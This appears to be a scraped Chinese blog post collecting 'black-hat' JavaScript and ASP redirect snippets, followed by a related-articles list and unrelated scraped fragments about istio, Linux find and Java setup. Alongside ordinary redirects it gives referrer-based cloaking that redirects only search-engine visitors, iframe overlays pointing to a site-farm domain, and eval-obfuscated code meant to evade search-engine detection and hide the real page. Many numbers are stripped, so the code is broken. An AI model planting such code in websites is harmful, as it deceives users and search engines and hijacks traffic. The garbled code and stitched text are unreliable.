黑帽JS跳转
一、常规的JS页面跳转代码
、在原来的窗体中直接跳转用
<script type=”text/javascript”>
window.location.href=”http://www.gzpu.com”;
</script>
、在新窗体中打开页面用:
<script type=”text/javascript”>
window.open(‘http://www.gzpu.com’);
</script>
、JS页面跳转参数的注解
<SCRIPT LANGUAGE=”javascript”>
<!–
window.open (‘page.html’, ‘newwindow’, ‘height=, width=, top=,left=, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no’)
//写成一行
–>
</SCRIPT>
参数解释:
<SCRIPT LANGUAGE=”javascript”> js脚本开始;
window.open 弹出新窗口的命令;
‘page.html’ 弹出窗口的文件名;
‘newwindow’ 弹出窗口的名字(不是文件名),非必须,可用空’代替;
height= 窗口高度;
width= 窗口宽度;
top= 窗口距离屏幕上方的象素值;
left= 窗口距离屏幕左侧的象素值。
二、跳转指定页面的JS代码
第1种:
<script language=”javascript” type=”text/javascript”>
window.location.href=”login.jsp?backurl=”+window.location.href;
</script>
第2种:
<script language=”javascript”>
alert(“返回”);
window.history.back(-);
</script>
第3种:
<script language=”javascript”>
window.navigate(“top.jsp”);
</script>
第4种:
<script language=”JavaScript”>
self.location=’top.htm’;
</script>
第5种:
<script language=”javascript”>
alert(“非法访问!”);
top.location=’xx.jsp’;
</script>
三、页面停留指定时间再跳转(如3秒)
<script type=”text/javascript”>
function jumurl(){
window.location.href = ‘http://www.gzpu.com';
}
setTimeout(jumurl,);
</script>
四、根据访客来源跳转的JS代码
、JS判断来路代码
此段代码主要用于百度谷歌点击进入跳转,直接打开网站不跳转:
<script LANGUAGE=”Javascript”>
var s=document.referrer
if(s.indexOf(“google”)> || s.indexOf(“baidu”)> || s.indexOf(“yahoo”)> )
location.href=”http://www.gzpu.com”;
</script>
、JS直接跳转代码
<script LANGUAGE=”Javascript”>
location.href=”http://www.gzpu.com”;
</script>
、ASP跳转代码判断来路
<%
if instr(Request.ServerVariables(“http_referer”),”www.baidu.com”)> then
response.redirect(“http://www.gzpu.com”)
end if
%>
、ASP直接跳转的
<%
response.redirect(“http://www.gzpu.com”)
%>
五、广告与网站页面一起的JS代码
、上面是广告下面是站群的代码
document.writeln(“<iframe scrolling=’no’ frameborder=’′ marginheight=’′ marginwidth=’′ width=’%’ height=’′ allowTransparency src=http://www.gzpu.com></iframe>”);
、全部覆盖的代码
document.write(“</iframe><iframe src=’http://www.gzpu.com’ rel=’nofollow’ scrolling=’no’ frameborder=’0′ width=’100%’ height=’2000′>”);
、混淆防止搜索引擎被查的js调用
具体的展示上面是广告下面是站群的代码:
var ss = ‘<center id=”showcloneshengxiaon”><ifr’+’ame scrolling=”no” marginheight= marginwidth= frameborder=”″ width=”%” width=”’+’” height=”’+’” src=”ht’+’tp://’+’ww’+’w.g’+’z’+’pu.c’+’om/”></iframe></center>';
eval(“do”+”cu”+”ment.wr”+”ite(‘”+ss+”‘);”);
try{
setInterval(function(){
try{
document.getElementById(“div”+”All”).style.display=”no”+”ne”;
}catch(e){}
for(var i=;i<document.body.children.length;i++){
try{
var tagname = document.body.children[i].tagName;
var myid = document.body.children[i].id;
if(myid!=”iconDiv1″ && myid!=”showcloneshengxiaon”){
// if(tagname!=”center”){
document.body.children[i].style.display=”non”+”e”;
//}
}
}catch(e){}
}
},);
}catch(e){}
六、页面跳出框架
<script type=”text/javascript”>
top.location.href=’http://www.gzpu.com';
</script>
七、返回上一页
<script type=”text/javascript”>
window.history.back(-);
</script>
黑帽JS跳转的更多相关文章
- SEO黑页以及门页框架和JS跳转实现方法
在去年大家还在针对第三方博客狂轰乱炸,比如:webs.com.blogspot.com.weebly.com主要是因为本身博客平台的权重,再就是低廉的成本,主需要注册,没有域名和服务器的投入.排名也非 ...
- 黑帽seo基础手法之快照劫持
实际上,楼主曾经是搞安全出身的.当然早期也对黑帽手法多少有些了解,最早08年开始,见证了百度一代又一代的黑帽手法,可谓百花齐放,大神大牛级人物层出不穷,但我想黑帽seo,先不谈其性质好坏,单单就技术本 ...
- 黑帽SEO手法
黑帽SEO手法 0x00:概念 SEO全称搜索引擎优化,通过站内优化和站内优化方式来提升搜索引擎排名,有白帽SEO和黑帽SEO. 因为正规的SEO优化需要很长时间,黑帽SEO手法让站内快速提升排名的有 ...
- 一次解决黑帽SEO的经历
最近有个朋友跟我说他的网站被黑了,百度快照里显示的是另一个网站,如: 于是查找了些资料,终于找到了问题所在,记录如下: 关于黑帽SEO1.暗链:其实“暗链”就是看不见的网站链接,“暗链”在网站中的链接 ...
- 从入侵到变现——“黑洞”下的黑帽SEO分析
概述 由于互联网入口流量主要被搜索引擎占据,网站在搜索引擎中的排名直接影响到市场营销效果,因此SEO服务应运而生.SEO(Search Engine Optimization)全称为搜索引擎优化,是指 ...
- 各种隐藏 WebShell、创建、删除畸形目录、特殊文件名、黑帽SEO作弊(转自核大大)
其实这个问题,经常有朋友问我,我也都帮大家解决了…… 但是现在这些现象越来越严重,而且手法毒辣.隐蔽.变态,清除了又来了,删掉了又恢复了,最后直接找不到文件了,但是访问网站还在,急的各大管理员.站长抓 ...
- 快速排名 让人疯狂的黑帽seo技术
对于黑帽seo大家或许并不陌生,黑帽seo和白帽seo恰恰相反,是作弊手段.有白帽seo的时候,就有了黑帽seo一直到现在.但隔行如隔山这句话这句话一点都没错,再没接触黑帽seo技术之前我根本不知道黑 ...
- 浅析10种常见的黑帽seo手法
虽然博主并不认同黑帽seo手法,但是一些常见的黑帽手法还是需要了解的,增加自己对黑帽的认知,也可以在自己优化网站时适时的规避开这些黑帽手法,从而避免自己的网站被搜索引擎惩罚.好了,话不多说,下面进入今 ...
- 简单讲解什么是黑帽SEO
此文章主要讲的是黑帽SEO之搜索引擎劫持: SEO(Search Engine Optimization)搜索引擎优化,简单来说,就是让网站的排名更高,比如,搜索"博客"这个关键字 ...
随机推荐
- istio部署-istio prometheus
参考 fleeto/sleep fleeto/flaskapp 1. 使用 Prometheus 1.1 访问 Prometheus 1.1.1 端口转发 Prometheus 服务默认启用. # o ...
- day14 find
find命令查找信息补充 查看找文件数据信息: 精确查找: find 路径信息 -type 文件类型 -name "文件名" 模糊查找: find 路径信息 -type 文件类型 ...
- Port 3000 is already in use
cmd输入:netstat -ano | findstr :3000//查看是谁占用了3000号端口 显示如下 TCP 0.0.0.0:3000 0.0.0.0:0 LISTENING 18412 T ...
- Stream中的map
#map可以让一个对象A的流转换为宁外一种对象B的流(其实也是A对象元素组成的流) 1.对象转换为List集合 //若Eticket是一个对象,其中orderId是String类型 //eticket ...
- 安装java jdk环境jdk1.8
1) yum 安装java jdk 1.8 * -y 验证java [root@localhost local]# java -version openjdk version "1.8.0_ ...
- C. Polygon for the Angle 几何数学
C. Polygon for the Angle 几何数学 题意 给出一个度数 ,问可以实现的最小的n的n边形是多少 思路 由n边形的外角和是180度直接就可以算出最小的角是多少 如果给出的度数是其最 ...
- MAKEFILE_LIST/CURDIR/MAKECMDGOALS/MAKEOVERRIDES/MAKEFLAGS
http://blog.chinaunix.net/uid-29460203-id-4191975.html https://www.xuebuyuan.com/1148403.html?mobile ...
- php对字符串的操作2之 处理字符串的内置函数
1,获取字串:substr($str,$start,$length) mb_substr($str,$start,$length,'utf-8'); 更换为utf8编码,能准确的截取中文 <?p ...
- [Python]python中assert和isinstance的用法
assert语句是一种插入调试断点到程序的一种便捷的方式. assert == assert == True assert ( == ) print('-----------') assert ( = ...
- IntelliJ IDEA 2017.3尚硅谷-----设置字体大小行间距